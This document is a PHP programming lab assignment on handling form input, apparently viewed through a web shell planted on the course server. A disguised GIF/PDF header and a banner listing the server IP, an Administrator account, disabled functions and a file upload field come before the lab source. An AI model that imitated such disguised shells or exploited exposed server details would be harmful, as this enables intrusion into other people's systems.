GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/CST1146/Labs/Lab08/ |
Upload File : |
<? // JimMartinson/CST1146/Labs/Lab08/Lab08.phpinc #if ( $_SESSION['userId'] == 1 ) $showEvaluationVariables = true; require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. #if ( $_SESSION['userId'] != 1 ) { require('Gradebook/EvaluationSubmission_END.phpinc'); exit; } include('common/Browser/Browser.phpinc'); $disabled = ''; $disabled = ' disabled'; // Comment this line to enable lab. // NOTE: Disable Include conf/extra/httpd-autoindex.conf line in the httpd.conf file before labs. // OR: Fix labs so Lab 4 mod_autoindex works as it should. ?> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Description</legend> The purpose of this lab is to demonstrate the use of php forms. <br><b class="warning">Warning: Do not perform this lab until <?=labLink(7,false,'')?> has been performed. <br>The <b>application.php</b> file from lab 7 is needed for this lab.</b> <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Instruction</legend> <ol class="count"> <!-- 1 --> <li>Create a directory called <b class="copyText"><?=$evaluationName?></b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?></b> directory. We will use it for all work performed in this lab.</li> <!-- 2 --> <li>Copy the <b>application.php</b> file from lab 7 into your <b><?=$evaluationName?></b> folder. </li> <!-- 3 --> <li>Create a function called <b class="copyText php">formValue</b> in the <b>application.php</b> file that will gather values submitted by a form: <ol> <li>The <b class="php">formValue</b> function will take two parameters: <b class="copyText php">$formVariable</b> and <b class="copyText php">$defaultValue</b>.</li> <li><b class="php">$formVariable</b> can take four possible value types: <ol> <li>A single string of a form value name: <note>e.g. 'foo'</note> <ol> <li>Check the $_GET variable for a form variable with that name and remember the value.</li> <li>Check the $_POST variable for a form variable with that name and remember the value.</li> <li>If the form variable name was not found remember the <span class="bold">$defaultValue</span> or <span class="code">NULL</span> if $defaultValue was not set.</li> <li>Return the remembered value. <span class="note">Not as an array.</span></li> </ol> </li> <li>A string with a comma separated list of form value names: <note>e.g. 'foo,bar'</note> <ol> <li>The list is changed into an array of these form value names.</li> <li>Then process this array as if it was originally submitted as an array of form value names as below in step 3.2.3</li> </ol> </li> <li>An array of form value names: <note>e.g. array('foo','bar')</note> <ol> <li>For each index in the array, perform: <ol> <li>Check the $_GET variable for a form variable with that name and remember the value.</li> <li>Check the $_POST variable for a form variable with that name and remember the value.</li> <li>If the form variable name was not found set the value to <span class="code">NULL</span>.</li> <li>Save the value in an indexed array with the index equal to the form variable name.</li> </ol> </li> <li>Return the indexed array of values.</li> </ol> </li> <li>No value: <ol> <li>Create an array with no values.</li> <li>Loop thru the $_GET array and for each form variable found add an index with the name found set to the value sent by the form.</li> <li>Loop thru the $_POST array and for each form variable found add an index with the name found set to the value sent by the form.</li> <li>Return the indexed array of values.</li> </ol> </li> </ol> <span class="note">Ensure that all form values are run thru <a class="php" href="https://www.php.net/manual/en/function.trim.php" target="_blank">trim()</a> and <a class="php" href="https://www.php.net/manual/en/function.htmlspecialchars.php" target="_blank">htmlspecialchars()</a> before being saved.</span> </li> <li><b class="php">$defaultValue</b> can take two possible values: <ol> <li>No value: <br>Form value names that were not sent by the form are given a default value of <span class="code">NULL</span>. </li> <li>A default value: <span class="note">May only be used when called with a single form value name.</span> <br>Form value names that were sent by the form are set to the value sent. <br>Form value names that were not sent by the form are set the value of the <span class="php">$defaultValue</span> variable. </li> </ol> </li> </ol> <span class="note">The <b>formValue</b> function will return a single value only when called with a single form value name, otherwise, an indexed array is returned.</span> <br><span class="note">I found the <a class="php" href="https://www.php.net/manual/en/function.count.php" target="_blank">count()</a>, <a class="php" href="https://www.php.net/manual/en/function.explode.php" target="_blank">explode()</a>, <a class="php" href="https://www.php.net/manual/en/function.is-array.php" target="_blank">is_array()</a>, and <a class="php" href="https://www.php.net/manual/en/function.isset.php" target="_blank">isset()</a> functions as well as the <a class="php" href="https://www.php.net/manual/en/control-structures.foreach.php" target="_blank">foreach</a> statement useful when coding the <b>formValue</b> function.</span> </li> <!-- 4 --> <li>Code a PHP file to submit a form: <ol> <li>Create a PHP file named <b class="copyText"><?=$saveFilename?>_Form.php</b> in the <b><?=$evaluationName?></b> directory and open it in an editor.</li> <li>Include the <b>application.php</b> file.</li> <li>Call the <b class="php">beginPage</b> function with a parameter of <b class="copyText">Form test</b>.</li> <li>Set <b class="copyText">$f</b> equal to the return value of <b class="php">formValue()</b>.</li> <li>If <b class="copyText">$f['form']</b> is set and equals <b class="copyText">form_test</b> require the <b class="copyText"><?=$saveFilename?>_Perform.php</b> page.</li> <li>Create a form with the following attributes and elements: <ol> <li>The <b class="html">action</b> attribute is set so the page loads itself upon submit.</li> <li>The <b class="html">method</b> attribute is set to <b class="html">post</b>.</li> <li>An <b class="html">input</b> element of <b class="html">type</b> <b class="html">hidden</b> named <b class="copyText html">form</b> with the <b class="html">value</b> of <b class="copyText code">form_test</b>.</li> <li>An <b class="html">input</b> element of <b class="html">type</b> <b class="html">hidden</b> named <b class="copyText html">myName</b> with the <b class="html">value</b> of <b class="copyText code"><?=$userFullName?></b>.</li> <li>An <b class="html">input</b> element of <b class="html">type</b> <b class="html">text</b> named <b class="copyText html">favorite</b> with a label of <b class="copyText code">Favorite color:</b> and a <b class="html">value</b> equal to the value of <b class="copyText">$f['favorite']</b>.</li> <li>A <b class="html">textarea</b> element named <b class="copyText html">comment</b> with a label of <b class="copyText code">Comment:</b> and content set to <b class="copyText">$f['comment']</b>.</li> <li>An <b class="html">input</b> element of <b class="html">type</b> <b class="html">submit</b> named <b class="copyText html">task</b> with the of <b class="html">value</b> of <b class="copyText code">Submit</b>.</li> </ol> <span class="note">For the $f['favorite'] and $f['comment'] variables you will need to ensure they are set before they are used. <br>If not, set them to an empty string or NULL.</span> </li> <li>Call the <b class="php">endPage</b> function</li> <li>Save the <b><?=$saveFilename?>_Form.php</b> file.</li><? /** / <b class="copyText code"></b> /**/?> <li>Verify that your <b><?=$saveFilename?>_Form.php</b> page works. <ol type="i"> <li>Start Apache if it is not running.</li> <li>Open the <b><?=$saveFilename?>_Form.php</b> page in a browser.</li> <li>You should see a page like:<br> <? BrowserBegin('Create a file','http://localhost/CST1146/'.$evaluationName.'/'.$saveFilename.'_Form.php',820); ?> <h1 class="left">Form test</h1> Favorite color: <input type="text"> <br>Comment: <textarea></textarea> <br><input type="button" value="Submit"> <? BrowserEnd(); ?> If this is not what you see then you have errors in your code. </li> <li><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>_Form.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory. <br>Make sure that the address bar is visible in your browser before saving the image. </li> </ol> </li> </ol> </li> <!-- 5 --> <li>Code a PHP file to test form submission: <ol> <li>Create a PHP file named <b class="copyText"><?=$saveFilename?>_Perform.php</b> in the <b><?=$evaluationName?></b> directory and open it in an editor. <br><span class="note">This file will be included when <b class=""><?=$saveFilename?>_Form.php</b> is submitted.</span> </li> <li>Begin a div with the code <b class="copyText html"><div style="background-color:yellow;"></b>.</li> <li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">No parameters</span>.</li> <li>Display the $f array.</li> <li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">A list</span>.</li> <li>Set another variable equal to the return value of <b class="copyText php">formValue('myName,ooga')</b>.</li> <li>Display the variable.</li> <li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">No default</span>.</li> <li>Set another variable equal to the return value of <b class="copyText php">formValue('foo')</b>.</li> <li>Display the variable.</li> <li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">With default</span>.</li> <li>Set another variable equal to the return value of <b class="copyText php">formValue('bar',-1)</b>.</li> <li>Display the variable.</li> <li>End th div with the code <b class="copyText html"></div></b>.</li> <li>Save the <b><?=$saveFilename?>_Perform.php</b> file.</li><? /** / <b class="copyText code"></b> /**/?> <li>Verify that your <b><?=$saveFilename?>_Perform.php</b> page works. <ol type="i"> <li>Start Apache if it is not running.</li> <li>Open the <b><?=$saveFilename?>_Form.php</b> page in a browser.</li> <li>Enter some text for <b>Favorite color:</b> and <b>Comment:</b> then click <b>Submit</b>.</li> <li>You should see a page like:<br> <? BrowserBegin('Create a file','http://localhost/CST1146/'.$evaluationName.'/'.$saveFilename.'_Form.php',820); ?> <h1 class="left">Form test</h1> <div style="background-color:yellow;"> <h2>No parameters</h2> <? $f = array('form' => 'form_test', 'myName' => $userFullName, 'favorite' => 'Green', 'comment' => "This is my\ntwo line comment.", 'task' => 'Submit'); ?> $f = <pre> <?=var_dump($f)?></pre> <h2>A list</h2> <? $list = array('myName' => $userFullName, 'ooga' => NULL); ?> $list = <pre> <?=var_dump($list)?></pre> <h2>No default</h2> <? $foo = NULL; ?> $foo = <pre> <?=var_dump($foo)?></pre> <h2>With default</h2> <? $bar = -1; ?> $bar = <pre> <?=var_dump($bar)?></pre> </div> Favorite color: <input type="text" value="Green"> <br>Comment: <textarea>This is my two line comment.</textarea> <br><input type="button" value="Submit"> <? BrowserEnd(); ?> If this is not what you see then you have errors in your code. </li> <li><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>_Perform.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory. <br>Make sure that the address bar is visible in your browser before saving the image. </li> </ol> </li> </ol> <span class="note">Add text to describe what is being displayed and on separate lines. Display all values using the php var_dump() function and html pre tag.</span> </li> <!-- 6 --> <!-- 7 --> <!-- 8 --> <!-- 9 --> <!-- 10 --> <li>Turn in your assignment: <ol> <li>Ensure the following files are in your <b><?=$evaluationName?></b> folder:<? $fileList = array( 'application.php', $saveFilename.'_Form.php', $saveFilename.'_Form.png', $saveFilename.'_Perform.php', $saveFilename.'_Perform.png', ); natcasesort($fileList); foreach ($fileList as $fileName) { ?> <br><?=$fileName?> <? } ?> </li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <? require('../LabNotes.phpinc'); require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. ?>